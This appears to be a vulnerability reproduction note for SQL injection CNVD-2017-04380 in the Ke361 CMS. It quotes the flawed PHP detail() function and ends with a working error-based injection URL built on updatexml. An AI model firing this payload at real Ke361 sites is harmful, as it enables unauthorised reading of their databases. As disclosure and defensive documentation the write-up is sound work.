Ke361 Topiccontroller Class Php Sql Injection Vulnerability Cnvd 2017 04380

Ke361 TopicController.class.php SQL injection vulnerability CNVD-2017-04380

Vulnerability Description

Ke361 SQL injection vulnerability exists in the detai() function in the Ke361 TopicController.class.php file

Vulnerability Impact

Ke361

Environment construction

https://gitee.com/jcove/ke361

Vulnerability reappears

CMS Product Page

The vulnerable file is Application/Home/Controller/TopicController.class.php, vulnerability function details

public function detail(){
         $id = I('id');
         $where['tid'] = $id;
         $TopicModel = new TopicModel();
         $topicInfo = $TopicModel->info($id);
        //  if(empty($topicInfo)){
        //      $this->error('您查看的专题不存在哦！');
        //  }
  			//  这里注释掉，默认不存在专题
         M('Topic')->where('id='.$id)->setInc('hits');
         $this->setSiteTitle($topicInfo['title']);
         $goods = $this->lists(D('Goods'),$where);
         foreach ($goods as $k=>$v){
             $goods[$k]['url'] = U('/goods/'.$v['id']);
         }
         $this->assign('goods',$goods);
         $this->assign('topic',$topicInfo);
         $this->display();
     }

Here, receive the parameter id, and then execute the SQL statement, and the database data can be obtained through error injection

/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+